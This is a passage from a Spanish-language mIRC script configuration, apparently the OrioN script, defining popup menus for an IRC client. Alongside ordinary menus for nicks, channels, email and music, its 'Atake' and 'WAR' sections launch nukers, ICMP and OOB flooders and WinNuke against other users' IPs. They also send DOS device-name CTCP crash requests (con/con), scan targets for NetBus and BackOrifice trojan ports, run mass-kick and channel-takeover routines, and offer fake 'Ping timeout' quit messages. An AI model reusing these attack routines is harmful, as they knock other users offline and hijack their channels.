n25=..assault: run $mircdirWAR\assault.exe 
n26=..click: run $mircdirWAR\click.exe 
n27=..ping: run $mircdirWAR\Wsping32.exe 
n28=..divint: run $mircdirWAR\divint\divint3.exe 
n29=..bomber: run $mircdirWAR\jav\VTJBomber.exe 
n30=..nuker: run $mircdirWAR\jav\VTJNuker.exe 
n31=..OOB: run $mircdirWAR\Voob.exe 
n32=..ICMP: run $mircdirWAR\jav\VTJBomber.exe 
n33=..ICMP2:  run $mircdirwar\icmp.exe %whonickip
n34=..Divint: run $mircdirWAR\divint\Divint3.exe
n35=..BitchSlap: run $mircdirwar\bs.exe 
n36=..Panther: run $mircdirwar\Panther.exe 
n37=..WnewK-x: run $mircdirWAR\Wnewk-x.exe
n38=..NukeR: run $mircdirWAR\wnuke.exe
n39=.Defensa
n40=..$iif(%actproantideop,$style(1)) Anti-deop: dialog -m antideop antideop
n41=..$iif(%actproantikick,$style(1)) Anti-kick: dialog -m antikick antikick
n42=..$iif(%actproantiban,$style(1)) Anti-ban: dialog -m antiban antiban
n43=..$iif(%actantiinsultos,$style(1)) Anti-insultos: dialog -m insultos insultos
n44=..$iif(%actantiinsultos,$style(1)) Anti-Plagios: dialog -m cplag cplag
n45=..$iif($readini(sistema\spam\spamconf.ini,spam,spamed) == on,$style(1)) Anti-Spam: dialog -m antispam antispam
n46=..-
n47=.. $iif($group(#antiflood) == on,$style(1)) Antiflood OrioN: dialog -m antiflood antiflood
n48=.. $iif(si isin %pflood,$style(1)) Antiflood mIRC 
n49=...acitivar: apf
n50=...desactivar: dpf 
n51=...estado del flood: sflood
n52=...-
n53=...activar chequeo cada?: chb...max de lineas en memoria?: maxl
n54=...max de lineas por persona?: maxlp
n55=...ignorar al usuario durante?: igu
n56=..-
n57=..Ignore: dialog -m ignore ignore 
n58=..-
n59=..De canales: dialog -m config# config#
n60=..-
n61=..Nuke detector: {
n62=  echo -s $oriontheme(sSeparadorLine)
n63=  echo -s 4,1 RUN 0 Ejecutado detector de nukes 11 Já aí vem  8ver 2.01 9,99
n64=  echo -s $oriontheme(sSeparadorLine)
n65=  run $mircdirwar\jav\JAV.exe 
n66=}
n67=..Nukennaber: run $mircdirwar\nukenabber\nukenabber.exe
n68=..-
n69=..Firewall: {
n70=  if (%rutafire != $null) { run %rutafire }
n71=  else { set %rutafire $dir="Selecciona tu firewall para tu defensa" }
n72=}
n73=.Scaners
n74=..ports...: run $mircdirscaner\Portscan.exe
n75=..-
n76=..stat inet: run $mircdirsistema\bats\nstat.bat
n77=..-
n78=..trojans infect: run $mircdirsistema\bats\scantrojans.bat
n79=.-
n80=.AutoListLog
n81=.. $iif(%autolistlog == q,$style(1)) En privado:/set %autolistlog q
n82=.. $iif(%autolistlog == w,$style(1)) En otra ventana:/set %autolistlog w
n83=.. $iif(%autolistlog == n,$style(1)) No autolistlog:/set %autolistlog n
n84=..-
n85=.. %autolistloglines - Nº lineas?: set %autolistloglines $$?="Introduce el numero de lineas a mostrar para el recordatorio de log. Cuantas mas lineas mas retardo de salida."
n86=..-
n87=..Información: informo Esta utilidad, sirve para que cuando un usuario te abra un privado, automaticamente se muestre en ese privado o en una ventana aparte un trozo de la ultima conversación que has tenido con ese usuario (en caso de que exista el log). 
n88=.-
n89=.Al conectar
n90=..Sacar @noticeServ
n91=... $iif(%autonewsserv,$style(1)) ON:/set %autonewsserv on
n92=... $iif(!%autonewsserv,$style(1)) OFF:/unset %autonewsserv 
n93=..-
n94=..Sacar Gestor canales
n95=... $iif(%autoconfig#conex,$style(1)) ON:/set %autoconfig#conex on
n96=... $iif(!%autoconfig#conex,$style(1)) OFF:/unset %autoconfig#conex
n97=.-
n98=.Alias-teclas:/ aliasteclas
n99=.-
n100=.Musica
n101=..reproductor:/dialog -m musica musica
n102=..-
n103=..MID play: ponmusi#2 mid 1
n104=..WAV play: ponmusi#2 wav 1
n105=..Mp3 play: ponmusi#2 mp3 1
n106=..-
n107=..mid al azar: ponmusi#2 mid 2
n108=..wav al azar:  ponmusi#2 wav 2
n109=..mp3 al azar:  ponmusi#2 mp3 2
n110=..-
n111=..Stop m/w/3: .splay stop
n112=..-
n113=..local dirs
n114=...ruta midis
n115=.... %pathmusicamid :/
n116=....cambiar ruta: set %pathmusicamid $sdir="Seleccione el directorio con sus midis" C:\
n117=...ruta wavs
n118=.... %pathmusicawav :/
n119=....cambiar ruta: set %pathmusicawav $sdir="Seleccione el directorio con sus wavs" C:\
n120=...ruta mp3s
n121=.... %pathmusicamp3 :/
n122=....cambiar ruta:/set %pathmusicamp3 $sdir="Seleccione el directorio con sus mp3s" C:\
n123=.OrioNSound
n124=.. $iif(%sorion,$style(1)) Activar:/set %sorion on 
n125=.. $iif(!%sorion,$style(1)) Desactivar:/unset %sorion
n126=.-
n127=.
n128=-
n129=nicks
n130=.¿cambiar?: $$?="¿Que nick quieres ponerte?" | nick $!
n131=.-
n132=.config nicks
n133=..Elige nick 1: set %nick1 $$?="Escribe el nick 1"  
n134=..-
n135=..Elige nick 2: set %nick2 $$?="Escribe el nick 2"  
n136=..Elige nick 3: set %nick3 $$?="Escribe el nick 3"  
n137=..Elige nick 4: set %nick4 $$?="Escribe el nick 4"  
n138=..Elige nick 5: set %nick5 $$?="Escribe el nick 5"  
n139=..Elige nick 6: set %nick6 $$?="Escribe el nick 6"  
n140=..Elige nick 7: set %nick7 $$?="Escribe el nick 7"  
n141=.-
n142=. %nick0: nick %nick0
n143=.-
n144=. %nick1: nick %nick1
n145=. %nick2: nick %nick2
n146=. %nick3: nick %nick3
n147=. %nick4: nick %nick4
n148=. %nick5: nick %nick5
n149=. %nick6: nick %nick6
n150=. %nick7: nick %nick7
n151=.-
n152=.borra nicks: unset %nick*
n153=Canales
n154=.Consola de canales: dialog -m canales canales
n155=.-
n156=.auto-entrada en canales: dialog -m redes redes | did -c redes 4
n157=.-
n158=.entra en un canal: join 
n159=.canal con password: joinpass
n160=.entra y salir: set %e-s #$$?="¿A que canal? (sin#)" | entrar %e-s | part %e-s | unset %e-s   
n161=.cerrar todos los canales: partall
n162=.-
n163=.canales preferidos
n164=.. canal 1= %canal-1: join %canal-1
n165=.. canal 2= %canal-2: join %canal-2
n166=.. canal 3= %canal-3: join %canal-3
n167=.. canal 4= %canal-4: join %canal-4
n168=.. canal 5 = %canal-5: join %canal-5
n169=.. canal 6 = %canal-6: join %canal-6
n170=.. canal 7= %canal-7: join %canal-7
n171=.. canal 8= %canal-8: join %canal-8
n172=.. canal 9= %canal-9: join %canal-9
n173=..-
n174=..elegir canales preferidos
n175=...elegir el canal 1: set %canal-1 #$$?="Escribe el canal 1 (sin #), para poner en la lista de canales preferidos"
n176=...elegir el canal 2: set %canal-2 #$$?="Escribe el canal 2 (sin #), para poner en la lista de canales preferidos" 
n177=...elegir el canal 3: set %canal-3 #$$?="Escribe el canal 3 (sin #), para poner en la lista de canales preferidos" 
n178=...elegir el canal 4: set %canal-4 #$$?="Escribe el canal 4 (sin #), para poner en la lista de canales preferidos"
n179=...elegir el canal 5: set %canal-5 #$$?="Escribe el canal 5 (sin #), para poner en la lista de canales preferidos"
n180=...elegir el canal 6: set %canal-6 #$$?="Escribe el canal 6 (sin #), para poner en la lista de canales preferidos"
n181=...elegir el canal 7: set %canal-7 #$$?="Escribe el canal 7 (sin #), para poner en la lista de canales preferidos"
n182=...elegir el canal 8: set %canal-8 #$$?="Escribe el canal 8 (sin #), para poner en la lista de canales preferidos"
n183=...elegir el canal 9: set %canal-9 #$$?="Escribe el canal 9 (sin #), para poner en la lista de canales preferidos"
n184=..-
n185=..borra canales: unset %canal-*
n186=.-
n187=.listar canales
n188=..con 0 usuarios: list -max 0
n189=..con 3 usuarios: list -min 3  -max 3
n190=..con 5 usuarios: list  -min 5  -max 5 
n191=..con 10 usuarios: list -min 10 -max 10
n192=..con 20 usuarios: list -min 20 -max 20
n193=..con mas de 20 usuarios: list -min 20
n194=..-
n195=..especificar cifra de usuairos:{
n196=  set %min,usuarios #$?="Escribe el numero minimo de usuarios (inclusive)" 
n197=  set %max,usuarios  #$?="Escribe el numero maximo de usuarios (inclusive)" 
n198=  list -min %min,usuarios -max %max,usuarios
n199=}
n200=..-
n201=..especificar el tema del canal: list #$?="¿Que tema?"
n202=.-
n203=. $read -l1 $mircdirsistema\txts\canales.txt : join $read -l1  $mircdirsistema\txts\canales.txt 
n204=. $read -l2  $mircdirsistema\txts\canales.txt : join $read -l2 $mircdirsistema\txts\canales.txt  
n205=. $read -l3  $mircdirsistema\txts\canales.txt : join $read -l3  $mircdirsistema\txts\canales.txt 
n206=. $read -l4  $mircdirsistema\txts\canales.txt : join $read -l4  $mircdirsistema\txts\canales.txt 
n207=. $read -l5 $mircdirsistema\txts\canales.txt : join $read -l5 $mircdirsistema\txts\canales.txt 
n208=. $read -l6 $mircdirsistema\txts\canales.txt : join $read -l6 $mircdirsistema\txts\canales.txt 
n209=. $read -l7 $mircdirsistema\txts\canales.txt : join $read -l7 $mircdirsistema\txts\canales.txt 
n210=. $read -l8 $mircdirsistema\txts\canales.txt : join $read -l8 $mircdirsistema\txts\canales.txt 
n211=. $read -l9 $mircdirsistema\txts\canales.txt : join $read -l9 $mircdirsistema\txts\canales.txt 
n212=. $read -l10 $mircdirsistema\txts\canales.txt : join $read -l10 $mircdirsistema\txts\canales.txt 
n213=e-mails
n214=.gestor de emails: dialog -m email email
n215=.-
n216=.enviar email: run $mircdirsistema\sendmail\EnvioMail.exe 
n217=.-
n218=.abrir cuenta
n219=.. %email0: runer email %winactive %email0
n220=..-
n221=.. %email1: runer email  %email1
n222=.. %email2:  runer email %email2
n223=.. %email3:  runer email  %email3
n224=.. %email4:  runer email %email4
n225=.. %email5:  runer email  %email5
n226=.. %email6:  runer email %email6
n227=.-
n228=.configurar
n229=.. %email0: set %email0 $$?="Cuenta de correo?"
n230=..-
n231=.. %email1: set %email1 $$?="Cuenta de correo?"  
n232=.. %email2: set %email2 $$?="Cuenta de correo?"
n233=.. %email3: set %email3 $$?="Cuenta de correo?" 
n234=.. %email4: set %email4 $$?="Cuenta de correo?" 
n235=.. %email5: set %email5 $$?="Cuenta de correo?" 
n236=.. %email6: set %email5 $$?="Cuenta de correo?" 
n237=..-
n238=..borrar emails: unset %email*
n239=Webs
n240=. %web0: runer net %web0
n241=.-
n242=. %web1: runer net %web1
n243=. %web2:  runer net  %web2
n244=. %web3:  runer  net %web3
n245=. %web4:  runer  net %web4
n246=. %web5:  runer  net %web5
n247=. %web6: runer net %web6
n248=.-
n249=.configurar
n250=.. %web0: set %web1 $$?="Dirección URL?"
n251=..-
n252=.. %web1: set %web1 $$?="Dirección URL?"
n253=.. %web2: set %web2 $$?="Dirección URL?"  
n254=.. %web3: set %web3 $$?="Dirección URL?"
n255=.. %web4: set %web4 $$?="Dirección URL?" 
n256=.. %web5: set %web5 $$?="Dirección URL?" 
n257=.. %web6: set %web6 $$?="Dirección URL?"
n258=.. %web7: set %web7 $$?="Dirección URL?"  
n259=-
n260=Away:/ dialog -m away away
n261=F-server:/ dialog -m fserver fserver
n262=-
n263=Utilidades
n264=.Gestor Gets-files: dialog -m getfile getfile
n265=.Mandar ficheros: { dialog -m sendfilec sendfilec }
n266=.-
n267=.Gestor emails: dialog -m email email
n268=.-
n269=.Estadisticas: dialog -m contacc contacc
n270=.-
n271=.Visor-logs: @log
n272=.Visor-news: @news
n273=.-
n274=.Diario txt: run $mircdirsistema\txts\diario.txt
n275=.OrioN-recursos: dialog -m oriongestor oriongestor 
n276=.RelogAlarma: @alarma
n277=.AgendaURL: dialog -m agendaurl agendaurl
n278=.Calculadora: calc.load
n279=.UserList: dialog -m userlist userlist
n280=.-
n281=.Caritas: dialog -m caritas caritas
n282=.Letras: dialog -m letras letras
n283=.Radio: dialog -m radio radio
n284=.Ascii: dialog -m ascii ascii
n285=.Agentes: dialog -m agents agents
n286=.-
n287=.OrioNScan: dialog -m scan scan
n288=.ScanCanal: dialog -m scancanal scancanal
n289=Musica
n290=.reproductor:/dialog -m musica musica
n291=.-
n292=.MID play: .splay $$file="Selecciona un archivo *.midi" %pathmusicamid
n293=.WAV play: .splay $$file="Selecciona un archivo *.wav" %pathmusicawav
n294=.Mp3 play: .splay $$file="Selecciona un archivo *.mp3" %pathmusicamp3
n295=.-
n296=.mid al azar:{ var %y | %y = $findfile(%pathmusicamid,*.mid,0) |  %y = $rand(1,%y) |  .splay $findfile(%pathmusicamid,*.mid,%y) | unset %y }
n297=.wav al azar:{ var %y | %y = $findfile(%pathmusicawav,*.wav,0) |  %y = $rand(1,%y) |  .splay $findfile(%pathmusicawav,*.wav,%y) | unset %y }
n298=.mp3 al azar:{ var %y | %y = $findfile(%pathmusicamp3,*.mp3,0) |  %y = $rand(1,%y) |  .splay $findfile(%pathmusicamp3,*.mp3,%y) | unset %y }
n299=.-
n300=.Stop:/splay stop
n301=.-
n302=.Predefinir
n303=..ruta midis
n304=... %pathmusicamid :/
n305=...cambiar ruta: set %pathmusicamid $sdir="Seleccione el directorio con sus midis" C:\
n306=..ruta wavs
n307=... %pathmusicawav :/
n308=...cambiar ruta: set %pathmusicawav $sdir="Seleccione el directorio con sus wavs" C:\
n309=..ruta mp3s
n310=... %pathmusicamp3 :/
n311=...cambiar ruta:/set %pathmusicamp3 $sdir="Seleccione el directorio con sus mp3s" C:\
n312=-
n313=Atake
n314=. $active
n315=.. $iif($me !isop $active,$style(2)) hacerse con el canal: set %takeover# $chan | sorion atake | takeover 
n316=..-
n317=.. $iif($me !isop $active,$style(2)) llenar de bans:{ sorion atake | war.baneo# }
n318=.. $iif($me !isop $active,$style(2)) joder modos: { sorion kick | war.modos# }
n319=..-.. $iif($me !isop $active,$style(2)) kick aleatorio:{ sorion nuller | war.kick# }
n320=.. $iif($me !isop $active,$style(2)) ban-kick aleatorio:{ sorion nuller | war.bankick# }
n321=..-
n322=.. $iif($me !isop $active,$style(2)) solo hablo io
n323=...activar %act.war.ssss:{ 
n324=  echo -s 8,1 Activada opcion de prohibido hablar en el canal11 $chan8 esta sera desactivada automaticamente al desconectar, o poniendo desactivar.
n325=  set %war.ssss $chan 
n326=  set %act.war.ssss -x-
n327=  unset %des.war.ssss
n328=  .enable #ssss
n329=}
n330=...desactivar %des.war.ssss: { .disable #ssss | unset %war.ssss %act.war.ssss | set %des.war.ssss -x- }
n331=..-
n332=.. $iif($me !isop $active,$style(2)) quitar las @: massdeop
n333=.. $iif($me !isop $active,$style(2)) quitar los +: massdevoz
n334=.. $iif($me !isop $active,$style(2)) kick global: masskick
n335=.. $iif($me !isop $active,$style(2)) ban massivo: massban
n336=.. $iif($me !isop $active,$style(2)) ban-kick global: massbankick
n337=.. $iif($me !isop $active,$style(2)) deop-kick massivo: massdeopkick
n338=.. $iif($me !isop $active,$style(2)) deop-kick-ban massivo: massdeopbankick
n339=..-
n340=..mass atak con/con:/ctcp $active sound com/clock$.mp3
n341=..-
n342=..PortOpen 139 (win-95):/ scan#n win-95 139 $active
n343=..PortOpen 135 (win-NT):/ scan#n win-nt 135 $active
n344=..PortOpen 1080 (WinGate):/ scan#n win-gate 1080 $active
n345=..PortOpen 12345 (NetBus):/ scan#n netbus 12345 $active
n346=..PortOpen 31337 (BO):/ scan#n bo 31337 $active
n347=..PortOpen 79 (Finger):/ scan#n finger 79 $active
n348=..PortOpen 23 (Telnet):/ scan#n telnet 23 $active
n349=..PortOpen 113 (IdenT):/ scan#n ident 113 $active
n350=..PortOpen (¿?): scan#n $$?="Escribe el puerto a escanear" $! $active
n351=..-
n352=..Scaner: run $mircdirscaner\Portscan.exe
n353=.-
n354=.con/con:/ ctcp $1 sound con/con.wav
n355=.com/com: ctcp $1 sound com/com.wav
n356=.clock/clock: ctcp $1 sound clock/clock.wav
n357=.ps/ps: ctcp $1 sound ps/ps.wav
n358=.aux/aux: ctcp $1 sound aux/aux.wav.lpt/lpt: ctcp $1 sound lpt/lpt.wav
n359=.nul/nul: ctcp $1 sound nul/nul.wav.com/clock$.mp3: ctcp $1 sound com/clock$.mp3
n360=.-
n361=.$iif($ialchan($gettok($address($snick($chan),2),2,33),$active ,0) > 1,ver clones)
n362=..clones?:  dialog -m scan scan |  set %whoscan on |  who %barsnick | .timer 1 1 scanclonesd
n363=..-
n364=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick:/ quien-es $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick d
n365=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick:/ quien-es $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick d
n366=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick:/ quien-es $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick d
n367=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick:/ quien-es $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick d
n368=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick:/ quien-es $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick d
n369=..-
n370=.. $gettok($address($snick($chan),2),2,33):/ who $gettok($gettok($address($snick($chan),2),2,33),2,64)
n371=..-
n372=.$iif( $ialchan($gettok($address($snick($chan),2),2,33),$active ,0) > 1,patear clones)
n373=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick:/ kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick 1PäTêØ dÈ cLøNê§
n374=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick:/ kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick 1PäTêØ dÈ cLøNê§
n375=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick:/ kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick 1PäTêØ dÈ cLøNê§
n376=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick:/ kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick 1PäTêØ dÈ cLøNê§
n377=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick:/ kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick 1PäTêØ dÈ cLøNê§
n378=..-
n379=..todos: {
n380=  kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick 1PäTêØ dÈ cLøNê§
n381=  kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick 1PäTêØ dÈ cLøNê§
n382=  kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick 1PäTêØ dÈ cLøNê§
n383=  kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick 1PäTêØ dÈ cLøNê§
n384=  kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick 1PäTêØ dÈ cLøNê§
n385=}
n386=.-
n387=. $iif(!$exists($mircdir\war),$style(2)) ClicK
n388=..puerto 6667: %ataker.port = 6667 | %ataker = on | %progataker = click  | who $$1  
n389=..-
n390=..puerto 6668: %ataker.port = 6668 | %ataker = on | %progataker = click  | who $$1  
n391=..puerto 6669: %ataker.port = 6669 | %ataker = on | %progataker = click  | who $$1  
n392=..puerto 7000: %ataker.port = 7000 | %ataker = on | %progataker = click  | who $$1  
n393=..puerto 6664-7000: %ataker.port = 6667-7000 | %ataker = on | %progataker = click  | who $$1  
n394=..-
n395=..Especificar puerto(s): set %ataker.port $$?="Especifica el/los puertos a nukear (Ej: 6664-6666)" | %ataker = on | %progataker = click  | who $$1  
n396=. $iif(!$exists($mircdir\war),$style(2)) WinNuke
n397=..puerto 6667: %ataker.port = 6667 | %ataker = on | %progataker = winnuke  | who $$1  
n398=. $iif(!$exists($mircdir\war),$style(2)) Assault:{
n399=  echo -s >> 0Puesta de ip manualmente. (copia y pega la ip en el programa de war)
n400=  %progataker =  Assault | %ataker = on | who $$1
n401=}
n402=.-
n403=.WarPRE
n404=..Ejecutar: run %exewar1
n405=..-
n406=..Config: set %exewar1 $dir="Seleccione su programa de war predefinido." C:\
n407=.-
n408=. $iif(!$exists($mircdir\war),$style(2)) Nuker: %ataker = on | set %progataker VTJNuker | who $$1 
n409=. $iif(!$exists($mircdir\war),$style(2)) OOB:{
n410=  %progataker =  OOB | %ataker = on | run $mircdirWAR\Voob.exe |  who $$1
n411=  echo -s >> 0Puesta de ip manualmente.
n412=}
n413=. $iif(!$exists($mircdir\war),$style(2)) ICMP:{ %progataker =  ICMP | %ataker = on |  who $$1  run $mircdirWAR\jav\VTJBomber.exe 
n414=  echo -s >> 0Puesta de ip manualmente.
n415=}
n416=. $iif(!$exists($mircdir\war),$style(2)) ICMP2: {
n417=  %progataker = ICMP bomber | %ataker = on | who $$1
n418=  run $mircdirwar\icmp.exe %whonickip
n419=  echo -s >> 0Pulse el boton start para comenzar el atake.
n420=}
n421=. $iif(!$exists($mircdir\war),$style(2)) Ping: set %ataker on | set %progataker Wsping32 |  who $$1
n422=. $iif(!$exists($mircdir\war),$style(2)) Divint:{
n423=  %progataker =  Divint  | %ataker = on |  who $$1 
n424=  run $mircdirWAR\divint\Divint3.exe
n425=  echo -s >> 0Puesta de ip manualmente. 
n426=}
n427=. $iif(!$exists($mircdir\war),$style(2)) BitchSlap: %progataker = BitchSlap  | %ataker = on | who $$1 
n428=. $iif(!$exists($mircdir\war),$style(2)) Panther: {
n429=  %progataker =  Panther | %ataker = on   | who $$1 
n430=  run $mircdirwar\Panther.exe 
n431=  echo -s >> 0Puesta de ip manualmente. 
n432=}
n433=. $iif(!$exists($mircdir\war),$style(2)) WnewK-x:{
n434=  %progataker =  WnewK-x v1.11.5 | %ataker = on  | who $$1 
n435=  run $mircdirWAR\Wnewk-x.exe
n436=  echo -s >> 0Introduce manualmente los datos. 
n437=}
n438=. $iif(!$exists($mircdir\war),$style(2)) NukeR:{
n439=  %progataker =  Wnuke v2.3 | %ataker = on  | who $$1 
n440=  run $mircdirWAR\wnuke.exe
n441=  echo -s >> 0Introduce manualmente la ip. 
n442=}
n443=.-
n444=.Setup: %setup = war | dialog -m setup setup 
n445=Defensa
n446=.$iif(%actproantideop,$style(1)) Anti-deop: dialog -m antideop antideop
n447=.$iif(%actproantikick,$style(1)) Anti-kick: dialog -m antikick antikick
n448=.$iif(%actproantiban,$style(1)) Anti-ban: dialog -m antiban antiban
n449=.$iif(%actantiinsultos,$style(1)) Anti-insultos: dialog -m insultos insultos
n450=.$iif(%actantiinsultos,$style(1)) Anti-Plagios: dialog -m cplag cplag
n451=.$iif($readini(sistema\spam\spamconf.ini,spam,spamed) == on,$style(1)) Anti-Spam: dialog -m antispam antispam
n452=.-
n453=.$iif($group(#antiflood) == on,$style(1)) Antiflood OrioN: dialog -m antiflood antiflood
n454=..$iif(si isin %pflood,$style(1)) Antiflood mIRC 
n455=..acitivar: apf
n456=..desactivar: dpf 
n457=..estado del flood: sflood
n458=..-
n459=..activar chequeo cada?: chb
n460=..max de lineas en memoria?: maxl
n461=..max de lineas por persona?: maxlp
n462=..ignorar al usuario durante?: igu
n463=.-
n464=.Ignore: { dialog -m ignore ignore }
n465=.-
n466=.De canales: dialog -m config# config#
n467=.-
n468=.Nuke detector: {
n469=  echo -s $oriontheme(sSeparadorLine)
n470=  echo -s 4,1 RUN 0 Ejecutado detector de nukes 11 Já aí vem  8ver 2.01 9,99
n471=  echo -s $oriontheme(sSeparadorLine)
n472=  run $mircdirwar\jav\JAV.exe 
n473=}
n474=.Nukennaber: run $mircdirwar\nukenabber\nukenabber.exe
n475=.-
n476=.Firewall: {
n477=  if (%rutafire != $null) { run %rutafire }
n478=  else { set %rutafire $dir="Selecciona tu firewall para tu defensa" }
n479=}
n480=Scan
n481=.OrioNScan: dialog -m scan scan
n482=.Scaner: run $mircdirscaner\Portscan.exe
n483=.-
n484=. $active
n485=..ScanCanal: dialog -m scancanal scancanal
n486=..-
n487=..PortOpen 139 (win-95):/ scan#n win-95 139 $active
n488=..PortOpen 135 (win-NT):/ scan#n win-nt 135 $active
n489=..PortOpen 1080 (WinGate):/ scan#n win-gate 1080 $active.PortOpen 12345 (NetBus):/ scan#n netbus 12345 $active
n490=..PortOpen 31337 (BO):/ scan#n bo 31337 $active
n491=..PortOpen 79 (Finger):/ scan#n finger 79 $active
n492=..PortOpen 23 (Telnet):/ scan#n telnet 23 $active
n493=..PortOpen 113 (IdenT):/ scan#n ident 113 $active
n494=..PortOpen (¿?): scan#n $$?="Escribe el puerto a escanear" $! $active
n495=..-
n496=.Setup: %setup = scan | dialog -m setup setup 
n497=-
n498=Ayuda
n499=.De OrioN
n500=..web: runer net http://www.ircorion.net/help/help.htm
n501=..-
n502=..IRC: join #orion_script
n503=..-
n504=..foro:{
n505=  informo  Pregunta todas tus dudas sobre el script en el FORO del web OrioN. Seras contestado por alguno de los operadores del canal #orion_script en el plazo maximo de 2 dias. :-) Graciax. $oriontheme(sSeparadorLine) 
n506=  if (%rutanet == $null) {  dialog -m barra barra | did -c barra 7 1 | manuallocalizador | dialog -x barra barra | .timer 1 5 run  %rutanet http://melodysoft.com/cgi-bin/foro.cgi?ID=foroquasi }
n507=  else {  .timer 1 5 run  %rutanet http://melodysoft.com/cgi-bin/foro.cgi?ID=foroquasi }
n508=} 
n509=..-
n510=..e-mail:{
n511=  echo -s Te ayudaremos con cualquier problema: 0,1 e-mail: ayuda@ircorion.net 0,99   
n512=  informo  Pregunta todos tus problemas o dudas sobre el script en el grupo de mails OrioN. Seras contestado por alguno de sus usuarios en el plazo maximo de 2 dias. :-) Graciax. $oriontheme(sSeparadorLine)  
n513=  runer email ayuda@ircorion.net
n514=}
n515=.-
n516=.De mIRC
n517=..ayuda general: run $mircdirmirc.hlp
n518=..busqueda por palabra: $?="Escriba la palabra para buscar su ayuda" | help $!
n519=.-
n520=.De ineT: join #ayuda_internet
n521=-
n522=Salir/Cerrar
n523=.cerrar privados:/close m 
n524=.cerrar fserver:/close f
n525=.cerrar canales
n526=..con mensaje:/partall $$?="Escribe el mensaje"
n527=..sin mensaje:/partall
n528=.cerrar todos los canales
n529=.cerrar OrioN:  exit
n530=.-
n531=.salir con msg: quit $$?="Escirbe el mesaje de salida".salir sin msg: quit
n532=.-
n533=.salidas falsas..Ping timeout: quit Ping timeout for $me $+ $chr(91) $+ $remove( $address($me,2) , *!*@ ) $+ $chr(93)
n534=..Connection reset by peer: quit Read error to $me $+ $chr(91) $+ $remove( $address($me,2) , *!*@ ) $+ $chr(93) $+ : Connection reset by peer
n535=..Connection refused: quit Read error to $me $+ $chr(91) $+ $remove( $address($me,2) , *!*@ ) $+ $chr(93) $+ : Connection refused
n536=..Write error: quit Write error to $me $+ $chr(91) $+ $remove( $address($me,2) , *!*@ ) $+ $chr(93) $+ : closing link
n537=..Protocol not available: quit Read error to $me $+ $chr(91) $+ $remove( $address($me,2) , *!*@ ) $+ $chr(93) $+ : Protocol not available
n538=.-
n539=.salir y cerrar: quit | exit

[mpopup]
n0=$iif($server,$style(1)) Conectar: dialog -m servers servers
n1=-
n2=$iif(!$server,$style(2)) Server
n3=.servMotd:/motd
n4=.lusers:/lusers 
n5=.mapa:/map
n6=.enlaces:/links 
n7=.time: time
n8=.version: /version
n9=.conex:/stats l
n10=.admin Infor:/admin 
n11=.carga user:/stats w 
n12=.onTime:/stats u 
n13=.bytes:/stats t 
n14=.info completa:/stats z 
n15=.comandos:/stats m 
n16=.trace:/trace
n17=.infoServ:/admin
n18=.-
n19=.iRCops:/stats o
n20=.lines
n21=..o: stats o
n22=..i: stats i
n23=..g: stats g
n24=..k: stats k
n25=..otro: stats $$?="Escribe la letra"
n26=.-
n27=.ver Lag
n28=..con otro usuario: .ctcp $$?="Nick?" ping
n29=..mi propio lag: { ctcp $me ping   }
n30=.-
n31=.@NoticeSerV: getnoticeserv
n32=.-
n33=.configRedes: dialog -m redes redes
n34=-
n35=$iif(!$server,$style(2)) Info
n36=.whois nick: whois $$?="De que nick deseas obtener la informacion del whois?" 
n37=.who nick: who $$?="Nick para el who?"
n38=.whowas: WHOWAS $$?="Nick para el whowas?"
n39=.-
n40=.User
n41=..userHOST: userhost  $$?="Nick para el userhost?"
n42=..userIP: userip  $$?="Nick para el userip?"
n43=..userOnLine: ison $$?="Nick para el useonline?"
n44=.-
n45=.IP scan
n46=..ip-nick-host: dns $$?="Introduce la ip el nick o el host del usuario" 
n47=..descifrar ip: dns $$?="De que nick deseas obtener la ip?"
n48=.-
n49=.ver lag
n50=..gestor: dialog -m lageo lageo
n51=..-
n52=..personal: ctcp $me ping
n53=..otro user: /ctcp $$?="Respecto a que nick?" ping
n54=.-
n55=.notify: dialog -m notify notify
n56=.u-central: uwho $$?="De que nick deseas obtener la información?"
n57=.agenda: /abook $$?="De que nick deseas obtener la infiormación?"
n58=.-
n59=.Scan OrioN: dialog -m scan scan 
n60=.Scaner: run $mircdirscaner\Portscan.exe
n61=.Scan Users
n62=..Europeos: who *.ue
n63=..Españoles: who *.es
n64=..Franceses: who *.fr
n65=..Italianos: who *.it
n66=..Ingleses: who *.co.uk
n67=..EEUU: who *.com
n68=..Brasileños: who *.br
n69=..Argentinos: who *.com.ar
n70=.Scan inet: run $mircdirsistema\bats\nstat.bat
n71=.-
n72=.entradas ARP: {
n73=  run $mircdirsistema\bats\msdosarp.bat
n74=  echo -s 0,1 Entradas ARP... 9,99
n75=}
n76=.detect trojans: run $mircdirsistema\bats\scantrojans.bat
n77=.-
n78=.nicks-canal: who #$$?="Escribe el nombre del canal (sin #)"
n79=.-
n80=.users orion: who *orion* | who *quasi* | who *o31* | who *o32* | who *o41* | who ~script*
n81=.-
n82=.Mi conex: dialog -m infomeconex infomeconex
n83=.Mi IDLE: {
n84=  %s = $idle | %m = $calc($idle / 60) | %h = $calc(($idle / 60) / 60)
